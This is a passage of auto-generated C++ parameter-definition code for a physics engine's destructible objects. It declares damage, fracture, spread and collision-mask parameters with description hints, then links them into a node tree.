NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[235];
ParamDef->init("damageThreshold", TYPE_F32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "The damage amount which will cause a chunk to fracture (break free) from the destructible.\n This is obtained from the damage value passed into the NxDestructibleActor::applyDamage,\n or NxDestructibleActor::applyRadiusDamage, or via impact (see 'forceToDamage', below).", true);
HintTable[1].init("shortDescription", "The damage amount which will cause a chunk to fracture (break free) from the destructible.", true);
ParamDefTable[235].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=236, longName="behaviorGroups[].damageToRadius"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[236];
ParamDef->init("damageToRadius", TYPE_F32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Controls the distance into the destructible to propagate damage. The damage applied to the chunk\n is multiplied by damageToRadius, to get the propagation distance. All chunks within the radius\n will have damage applied to them. The damage applied to each chunk varies with distance to the damage\n application position. Full damage is taken at zero distance, and zero damage at the damage radius.\n NOTE: This parameter is deprecated for point and radius damage. It will be used for those types of damage if legacy damage\n behavior is enabled with NxModuleDestructible::setUseLegacyDamageRadiusSpread. Otherwise, the new parameters\n damageSpread.minimumRadius, damageSpread.radiusMultiplier, and damageSpread.falloffExponent are used. For impact damage, this parameter\n will continue to be used, however the radius will no longer scale with object size. The radius will continue\n to scale with the damage as a fraction of damageThreshold, however. If legacy damage behavior is used, this parameter\n will behave as before with respect to impact damage as well (scaling with object size).", true);
HintTable[1].init("shortDescription", "Controls the distance into the destructible to propagate damage.", true);
ParamDefTable[236].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=237, longName="behaviorGroups[].damageSpread"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[237];
ParamDef->init("damageSpread", TYPE_STRUCT, "DamageSpreadFunction", true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Describes the radius and damage envelope function for damage applied to the destructible.", true);
HintTable[1].init("shortDescription", "Describes the radius and damage envelope function for damage applied to the destructible.", true);
ParamDefTable[237].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=238, longName="behaviorGroups[].damageSpread.minimumRadius"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[238];
ParamDef->init("minimumRadius", TYPE_F32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "The minimum radius of damage spread when damage is applied. The formula for the damage radius is\n radius = minimumRadius + (input radius) * radiusMultiplier.", true);
HintTable[1].init("shortDescription", "The minimum radius of damage spread when damage is applied.", true);
ParamDefTable[238].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=239, longName="behaviorGroups[].damageSpread.radiusMultiplier"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[239];
ParamDef->init("radiusMultiplier", TYPE_F32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "A scale to apply to the input damage radius when damage is applied. The formula for the damage radius is\n radius = minimumRadius + (input radius) * radiusMultiplier.", true);
HintTable[1].init("shortDescription", "A scale to apply to the input damage radius when damage is applied.", true);
ParamDefTable[239].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=240, longName="behaviorGroups[].damageSpread.falloffExponent"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[240];
ParamDef->init("falloffExponent", TYPE_F32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "How damage varies between the minimum radius and the calculated damage radius. The formula for the damage radius is\n radius = minimumRadius + (input radius) * radiusMultiplier.\n Within the minimumRadius, the full damage is applied to chunks. Past the minimumRadius, the formla for damage is:\n damage = (input damage) * ((radius - distance)/(radius - minimumRadius))^falloffExponent.\n Note: falloffExponent = 0.0 gives no falloff, so that damage = (input damage) over the entire range [0, radius).\n falloffExponent = 1.0 gives linear falloff.", true);
HintTable[1].init("shortDescription", "How damage varies between the minimum radius and the calculated damage radius.", true);
ParamDefTable[240].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=241, longName="behaviorGroups[].damageColorSpread"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[241];
ParamDef->init("damageColorSpread", TYPE_STRUCT, "DamageSpreadFunction", true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Describes the radius and damage envelope function for color channel damage modification applied to the destructible.", true);
HintTable[1].init("shortDescription", "Describes the radius and damage envelope function for color channel damage modification applied to the destructible.", true);
ParamDefTable[241].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=242, longName="behaviorGroups[].damageColorSpread.minimumRadius"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[242];
ParamDef->init("minimumRadius", TYPE_F32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "The minimum radius of damage spread when damage is applied. The formula for the damage radius is\n radius = minimumRadius + (input radius) * radiusMultiplier.", true);
HintTable[1].init("shortDescription", "The minimum radius of damage spread when damage is applied.", true);
ParamDefTable[242].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=243, longName="behaviorGroups[].damageColorSpread.radiusMultiplier"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[243];
ParamDef->init("radiusMultiplier", TYPE_F32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "A scale to apply to the input damage radius when damage is applied. The formula for the damage radius is\n radius = minimumRadius + (input radius) * radiusMultiplier.", true);
HintTable[1].init("shortDescription", "A scale to apply to the input damage radius when damage is applied.", true);
ParamDefTable[243].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=244, longName="behaviorGroups[].damageColorSpread.falloffExponent"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[244];
ParamDef->init("falloffExponent", TYPE_F32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "How damage varies between the minimum radius and the calculated damage radius. The formula for the damage radius is\n radius = minimumRadius + (input radius) * radiusMultiplier.\n Within the minimumRadius, the full damage is applied to chunks. Past the minimumRadius, the formla for damage is:\n damage = (input damage) * ((radius - distance)/(radius - minimumRadius))^falloffExponent.\n Note: falloffExponent = 0.0 gives no falloff, so that damage = (input damage) over the entire range [0, radius).\n falloffExponent = 1.0 gives linear falloff.", true);
HintTable[1].init("shortDescription", "How damage varies between the minimum radius and the calculated damage radius.", true);
ParamDefTable[244].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=245, longName="behaviorGroups[].damageColorChange"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[245];
ParamDef->init("damageColorChange", TYPE_VEC4, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Describes how damage changes the color of vertices in the render mesh. If this vector is non-zero, then a dynamic\n (per-actor) color channel will be created and initialized to the asset's color channel, if it exists. Damage taken will go through\n the spread and envelope function described by damageColorSpread, and each color will be modified by the resulting damage, scaled\n by the values in damageColorChange. The change to color channel C is given by\n color[C] = clamp(color[C] + damageColorChange[C]*255*min(1.0, damage/damageThreshold), 0, 255).", true);
HintTable[1].init("shortDescription", "Describes how damage changes the color of vertices in the render mesh.", true);
ParamDefTable[245].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=246, longName="behaviorGroups[].materialStrength"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[246];
ParamDef->init("materialStrength", TYPE_F32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "When a chunk takes impact damage due to physical contact (see see NxDestructibleDepthParameters), this parameter\n is the maximum impulse the contact can generate. Weak materials such as glass may have this set to a low value, so that\n heavier objects will pass through them during fracture.\n N.B.: Setting this parameter to 0 disables the impulse cap; that is, zero is interpreted as infinite.\n Default value = 0.0f.", true);
HintTable[1].init("shortDescription", "When a chunk takes impact, this is the maximum impulse the contact can generate.", true);
ParamDefTable[246].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=247, longName="behaviorGroups[].density"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[247];
ParamDef->init("density", TYPE_F32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Chunk density. (TODO: better description)", true);
HintTable[1].init("shortDescription", "Chunk density", true);
ParamDefTable[247].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=248, longName="behaviorGroups[].fadeOut"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[248];
ParamDef->init("fadeOut", TYPE_F32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Chunk fade out. (TODO: better description)", true);
HintTable[1].init("shortDescription", "Chunk fade out", true);
ParamDefTable[248].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=249, longName="behaviorGroups[].groupsMask"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[249];
ParamDef->init("groupsMask", TYPE_STRUCT, "GroupsMask", true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Optional groups mask for dynamic chunks created when fractured.", true);
HintTable[1].init("shortDescription", "Optional groups mask for dynamic chunks created when fractured", true);
ParamDefTable[249].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=250, longName="behaviorGroups[].groupsMask.useGroupsMask"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[250];
ParamDef->init("useGroupsMask", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Whether or not the groupsMask should be used. If so, then this will be applied to all NxShapes\n created to represent this destructible's chunks.", true);
HintTable[1].init("shortDescription", "Whether or not the groupsMask should be used", true);
ParamDefTable[250].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=251, longName="behaviorGroups[].groupsMask.bits0"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[251];
ParamDef->init("bits0", TYPE_U32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "If useGroupsMask is true, this is bits0 of the groups mask. See the PhysX documentation for more on groups masks.", true);
HintTable[1].init("shortDescription", "bits0 of the groups mask", true);
ParamDefTable[251].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=252, longName="behaviorGroups[].groupsMask.bits1"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[252];
ParamDef->init("bits1", TYPE_U32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "If useGroupsMask is true, this is bits1 of the groups mask. See the PhysX documentation for more on groups masks.", true);
HintTable[1].init("shortDescription", "bits1 of the groups mask", true);
ParamDefTable[252].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=253, longName="behaviorGroups[].groupsMask.bits2"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[253];
ParamDef->init("bits2", TYPE_U32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "If useGroupsMask is true, this is bits2 of the groups mask. See the PhysX documentation for more on groups masks.", true);
HintTable[1].init("shortDescription", "bits2 of the groups mask", true);
ParamDefTable[253].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=254, longName="behaviorGroups[].groupsMask.bits3"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[254];
ParamDef->init("bits3", TYPE_U32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "If useGroupsMask is true, this is bits3 of the groups mask. See the PhysX documentation for more on groups masks.", true);
HintTable[1].init("shortDescription", "bits3 of the groups mask", true);
ParamDefTable[254].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// SetChildren for: nodeIndex=0, longName=""
{
static Definition* Children[29];
Children[0] = PDEF_PTR(1);
Children[1] = PDEF_PTR(2);
Children[2] = PDEF_PTR(3);
Children[3] = PDEF_PTR(4);
Children[4] = PDEF_PTR(5);
Children[5] = PDEF_PTR(6);
Children[6] = PDEF_PTR(7);
Children[7] = PDEF_PTR(8);
Children[8] = PDEF_PTR(9);
Children[9] = PDEF_PTR(10);
Children[10] = PDEF_PTR(11);
Children[11] = PDEF_PTR(12);
Children[12] = PDEF_PTR(13);
Children[13] = PDEF_PTR(14);
Children[14] = PDEF_PTR(15);
Children[15] = PDEF_PTR(17);
Children[16] = PDEF_PTR(19);
Children[17] = PDEF_PTR(20);
Children[18] = PDEF_PTR(21);
Children[19] = PDEF_PTR(53);
Children[20] = PDEF_PTR(64);
Children[21] = PDEF_PTR(98);
Children[22] = PDEF_PTR(127);
Children[23] = PDEF_PTR(144);
Children[24] = PDEF_PTR(167);
Children[25] = PDEF_PTR(193);
Children[26] = PDEF_PTR(206);
Children[27] = PDEF_PTR(210);
Children[28] = PDEF_PTR(232);
ParamDefTable[0].setChildren(Children, 29);
}
// SetChildren for: nodeIndex=15, longName="overrideSkinnedMaterialNames"
{
static Definition* Children[1];
Children[0] = PDEF_PTR(16);
ParamDefTable[15].setChildren(Children, 1);
}
// SetChildren for: nodeIndex=17, longName="overrideStaticMaterialNames"
{
static Definition* Children[1];
Children[0] = PDEF_PTR(18);
ParamDefTable[17].setChildren(Children, 1);
}
// SetChildren for: nodeIndex=21, longName="destructibleParameters"
{
static Definition* Children[19];
Children[0] = PDEF_PTR(22);
Children[1] = PDEF_PTR(23);
Children[2] = PDEF_PTR(24);
Children[3] = PDEF_PTR(25);
Children[4] = PDEF_PTR(26);
Children[5] = PDEF_PTR(27);
Children[6] = PDEF_PTR(28);
Children[7] = PDEF_PTR(29);
Children[8] = PDEF_PTR(30);
Children[9] = PDEF_PTR(31);
Children[10] = PDEF_PTR(32);
Children[11] = PDEF_PTR(33);
Children[12] = PDEF_PTR(34);
Children[13] = PDEF_PTR(35);
Children[14] = PDEF_PTR(36);
Children[15] = PDEF_PTR(44);
Children[16] = PDEF_PTR(45);
Children[17] = PDEF_PTR(46);
Children[18] = PDEF_PTR(47);
ParamDefTable[21].setChildren(Children, 19);
}
// SetChildren for: nodeIndex=36, longName="destructibleParameters.flags"
{
static Definition* Children[7];
Children[0] = PDEF_PTR(37);
Children[1] = PDEF_PTR(38);
Children[2] = PDEF_PTR(39);
Children[3] = PDEF_PTR(40);
Children[4] = PDEF_PTR(41);
Children[5] = PDEF_PTR(42);
Children[6] = PDEF_PTR(43);
ParamDefTable[36].setChildren(Children, 7);
}
// SetChildren for: nodeIndex=47, longName="destructibleParameters.dynamicChunksGroupsMask"
{
static Definition* Children[5];
Children[0] = PDEF_PTR(48);
Children[1] = PDEF_PTR(49);
Children[2] = PDEF_PTR(50);
Children[3] = PDEF_PTR(51);
Children[4] = PDEF_PTR(52);
ParamDefTable[47].setChildren(Children, 5);
}
// SetChildren for: nodeIndex=53, longName="depthParameters"
{
static Definition* Children[1];
Children[0] = PDEF_PTR(54);
ParamDefTable[53].setChildren(Children, 1);
}
// SetChildren for: nodeIndex=54, longName="depthParameters[]"
{
static Definition* Children[9];
Children[0] = PDEF_PTR(55);
Children[1] = PDEF_PTR(56);
Children[2] = PDEF_PTR(57);
Children[3] = PDEF_PTR(58);
Children[4] = PDEF_PTR(59);
Children[5] = PDEF_PTR(60);
Children[6] = PDEF_PTR(61);
Children[7] = PDEF_PTR(62);
Children[8] = PDEF_PTR(63);
ParamDefTable[54].setChildren(Children, 9);
}
// SetChildren for: nodeIndex=64, longName="shapeDescTemplate"
{
static Definition* Children[8];
Children[0] = PDEF_PTR(65);
Children[1] = PDEF_PTR(86);
Children[2] = PDEF_PTR(87);
Children[3] = PDEF_PTR(93);
Children[4] = PDEF_PTR(94);
Children[5] = PDEF_PTR(95);
Children[6] = PDEF_PTR(96);
Children[7] = PDEF_PTR(97);
ParamDefTable[64].setChildren(Children, 8);
}
// SetChildren for: nodeIndex=65, longName="shapeDescTemplate.flags"
{
static Definition* Children[20];
Children[0] = PDEF_PTR(66);
Children[1] = PDEF_PTR(67);
Children[2] = PDEF_PTR(68);
Children[3] = PDEF_PTR(69);
Children[4] = PDEF_PTR(70);
Children[5] = PDEF_PTR(71);
Children[6] = PDEF_PTR(72);
Children[7] = PDEF_PTR(73);
Children[8] = PDEF_PTR(74);
Children[9] = PDEF_PTR(75);
Children[10] = PDEF_PTR(76);
Children[11] = PDEF_PTR(77);
Children[12] = PDEF_PTR(78);
Children[13] = PDEF_PTR(79);
Children[14] = PDEF_PTR(80);
Children[15] = PDEF_PTR(81);
Children[16] = PDEF_PTR(82);
Children[17] = PDEF_PTR(83);
Children[18] = PDEF_PTR(84);
Children[19] = PDEF_PTR(85);
ParamDefTable[65].setChildren(Children, 20);
}
// SetChildren for: nodeIndex=87, longName="shapeDescTemplate.groupsMask"
{
static Definition* Children[5];
Children[0] = PDEF_PTR(88);
Children[1] = PDEF_PTR(89);
Children[2] = PDEF_PTR(90);
Children[3] = PDEF_PTR(91);
Children[4] = PDEF_PTR(92);
ParamDefTable[87].setChildren(Children, 5);
}
// SetChildren for: nodeIndex=98, longName="actorDescTemplate"
{
static Definition* Children[9];
Children[0] = PDEF_PTR(99);
Children[1] = PDEF_PTR(107);
Children[2] = PDEF_PTR(108);
Children[3] = PDEF_PTR(109);
Children[4] = PDEF_PTR(110);
Children[5] = PDEF_PTR(123);
Children[6] = PDEF_PTR(124);
Children[7] = PDEF_PTR(125);
Children[8] = PDEF_PTR(126);
ParamDefTable[98].setChildren(Children, 9);
}
// SetChildren for: nodeIndex=99, longName="actorDescTemplate.flags"
{
static Definition* Children[7];
Children[0] = PDEF_PTR(100);
Children[1] = PDEF_PTR(101);
Children[2] = PDEF_PTR(102);
Children[3] = PDEF_PTR(103);
Children[4] = PDEF_PTR(104);
Children[5] = PDEF_PTR(105);
Children[6] = PDEF_PTR(106);
ParamDefTable[99].setChildren(Children, 7);
}
// SetChildren for: nodeIndex=110, longName="actorDescTemplate.contactReportFlags"
{
static Definition* Children[12];
Children[0] = PDEF_PTR(111);
Children[1] = PDEF_PTR(112);
Children[2] = PDEF_PTR(113);
Children[3] = PDEF_PTR(114);
Children[4] = PDEF_PTR(115);
Children[5] = PDEF_PTR(116);
Children[6] = PDEF_PTR(117);
Children[7] = PDEF_PTR(118);
Children[8] = PDEF_PTR(119);
Children[9] = PDEF_PTR(120);
Children[10] = PDEF_PTR(121);
Children[11] = PDEF_PTR(122);
ParamDefTable[110].setChildren(Children, 12);
}
// SetChildren for: nodeIndex=127, longName="bodyDescTemplate"
{
static Definition* Children[12];
Children[0] = PDEF_PTR(128);
Children[1] = PDEF_PTR(133);
Children[2] = PDEF_PTR(134);
Children[3] = PDEF_PTR(135);
Children[4] = PDEF_PTR(136);
Children[5] = PDEF_PTR(137);
Children[6] = PDEF_PTR(138);
Children[7] = PDEF_PTR(139);
Children[8] = PDEF_PTR(140);
Children[9] = PDEF_PTR(141);
Children[10] = PDEF_PTR(142);
Children[11] = PDEF_PTR(143);
ParamDefTable[127].setChildren(Children, 12);
}
// SetChildren for: nodeIndex=128, longName="bodyDescTemplate.flags"
{
static Definition* Children[4];
Children[0] = PDEF_PTR(129);
Children[1] = PDEF_PTR(130);
Children[2] = PDEF_PTR(131);
Children[3] = PDEF_PTR(132);
ParamDefTable[128].setChildren(Children, 4);
}
// SetChildren for: nodeIndex=144, longName="p3ShapeDescTemplate"
{
static Definition* Children[8];
Children[0] = PDEF_PTR(145);
Children[1] = PDEF_PTR(152);
Children[2] = PDEF_PTR(157);
Children[3] = PDEF_PTR(162);
Children[4] = PDEF_PTR(163);
Children[5] = PDEF_PTR(164);
Children[6] = PDEF_PTR(165);
Children[7] = PDEF_PTR(166);
ParamDefTable[144].setChildren(Children, 8);
}
// SetChildren for: nodeIndex=145, longName="p3ShapeDescTemplate.flags"
{
static Definition* Children[6];
Children[0] = PDEF_PTR(146);
Children[1] = PDEF_PTR(147);
Children[2] = PDEF_PTR(148);
Children[3] = PDEF_PTR(149);
Children[4] = PDEF_PTR(150);
Children[5] = PDEF_PTR(151);
ParamDefTable[145].setChildren(Children, 6);
}
// SetChildren for: nodeIndex=152, longName="p3ShapeDescTemplate.simulationFilterData"
{
static Definition* Children[4];
Children[0] = PDEF_PTR(153);
Children[1] = PDEF_PTR(154);
Children[2] = PDEF_PTR(155);
Children[3] = PDEF_PTR(156);
ParamDefTable[152].setChildren(Children, 4);
}
// SetChildren for: nodeIndex=157, longName="p3ShapeDescTemplate.queryFilterData"
{
static Definition* Children[4];
Children[0] = PDEF_PTR(158);
Children[1] = PDEF_PTR(159);
Children[2] = PDEF_PTR(160);
Children[3] = PDEF_PTR(161);
ParamDefTable[157].setChildren(Children, 4);
}
// SetChildren for: nodeIndex=167, longName="p3ActorDescTemplate"
{
static Definition* Children[7];
Children[0] = PDEF_PTR(168);
Children[1] = PDEF_PTR(172);
Children[2] = PDEF_PTR(173);
Children[3] = PDEF_PTR(174);
Children[4] = PDEF_PTR(175);
Children[5] = PDEF_PTR(191);
Children[6] = PDEF_PTR(192);
ParamDefTable[167].setChildren(Children, 7);
}
// SetChildren for: nodeIndex=168, longName="p3ActorDescTemplate.flags"
{
static Definition* Children[3];
Children[0] = PDEF_PTR(169);
Children[1] = PDEF_PTR(170);
Children[2] = PDEF_PTR(171);
ParamDefTable[168].setChildren(Children, 3);
}
// SetChildren for: nodeIndex=175, longName="p3ActorDescTemplate.contactReportFlags"
{
static Definition* Children[15];
Children[0] = PDEF_PTR(176);
Children[1] = PDEF_PTR(177);
Children[2] = PDEF_PTR(178);
Children[3] = PDEF_PTR(179);
Children[4] = PDEF_PTR(180);
Children[5] = PDEF_PTR(181);
Children[6] = PDEF_PTR(182);
Children[7] = PDEF_PTR(183);
Children[8] = PDEF_PTR(184);
Children[9] = PDEF_PTR(185);
Children[10] = PDEF_PTR(186);
Children[11] = PDEF_PTR(187);
Children[12] = PDEF_PTR(188);
Children[13] = PDEF_PTR(189);
Children[14] = PDEF_PTR(190);
ParamDefTable[175].setChildren(Children, 15);
}
// SetChildren for: nodeIndex=193, longName="p3BodyDescTemplate"
{
static Definition* Children[10];
Children[0] = PDEF_PTR(194);
Children[1] = PDEF_PTR(195);
Children[2] = PDEF_PTR(198);
Children[3] = PDEF_PTR(199);
Children[4] = PDEF_PTR(200);
Children[5] = PDEF_PTR(201);
Children[6] = PDEF_PTR(202);
Children[7] = PDEF_PTR(203);
Children[8] = PDEF_PTR(204);
Children[9] = PDEF_PTR(205);
ParamDefTable[193].setChildren(Children, 10);
}
// SetChildren for: nodeIndex=195, longName="p3BodyDescTemplate.flags"
{
static Definition* Children[2];
Children[0] = PDEF_PTR(196);
Children[1] = PDEF_PTR(197);
ParamDefTable[195].setChildren(Children, 2);
}
// SetChildren for: nodeIndex=206, longName="structureSettings"
{
static Definition* Children[3];
Children[0] = PDEF_PTR(207);
Children[1] = PDEF_PTR(208);
Children[2] = PDEF_PTR(209);
ParamDefTable[206].setChildren(Children, 3);
}
// SetChildren for: nodeIndex=210, longName="defaultBehaviorGroup"
{
static Definition* Children[10];
Children[0] = PDEF_PTR(211);
Children[1] = PDEF_PTR(212);
Children[2] = PDEF_PTR(213);
Children[3] = PDEF_PTR(214);
Children[4] = PDEF_PTR(218);
Children[5] = PDEF_PTR(222);
Children[6] = PDEF_PTR(223);
Children[7] = PDEF_PTR(224);
Children[8] = PDEF_PTR(225);
Children[9] = PDEF_PTR(226);
ParamDefTable[210].setChildren(Children, 10);
}
// SetChildren for: nodeIndex=214, longName="defaultBehaviorGroup.damageSpread"
{
static Definition* Children[3];
Children[0] = PDEF_PTR(215);
Children[1] = PDEF_PTR(216);
Children[2] = PDEF_PTR(217);
ParamDefTable[214].setChildren(Children, 3);
}
// SetChildren for: nodeIndex=218, longName="defaultBehaviorGroup.damageColorSpread"
{
static Definition* Children[3];
Children[0] = PDEF_PTR(219);
Children[1] = PDEF_PTR(220);
Children[2] = PDEF_PTR(221);
ParamDefTable[218].setChildren(Children, 3);
}
// SetChildren for: nodeIndex=226, longName="defaultBehaviorGroup.groupsMask"
{
static Definition* Children[5];
Children[0] = PDEF_PTR(227);
Children[1] = PDEF_PTR(228);
Children[2] = PDEF_PTR(229);
Children[3] = PDEF_PTR(230);
Children[4] = PDEF_PTR(231);
ParamDefTable[226].setChildren(Children, 5);
}
// SetChildren for: nodeIndex=232, longName="behaviorGroups"
{
static Definition* Children[1];
Children[0] = PDEF_PTR(233);
ParamDefTable[232].setChildren(Children, 1);
}
// SetChildren for: nodeIndex=233, longName="behaviorGroups[]"
{
static Definition* Children[10];
Children[0] = PDEF_PTR(234);
Children[1] = PDEF_PTR(235);
Children[2] = PDEF_PTR(236);
Children[3] = PDEF_PTR(237);
Children[4] = PDEF_PTR(241);
Children[5] = PDEF_PTR(245);
Children[6] = PDEF_PTR(246);
Children[7] = PDEF_PTR(247);
Children[8] = PDEF_PTR(248);
Children[9] = PDEF_PTR(249);
ParamDefTable[233].setChildren(Children, 10);
}
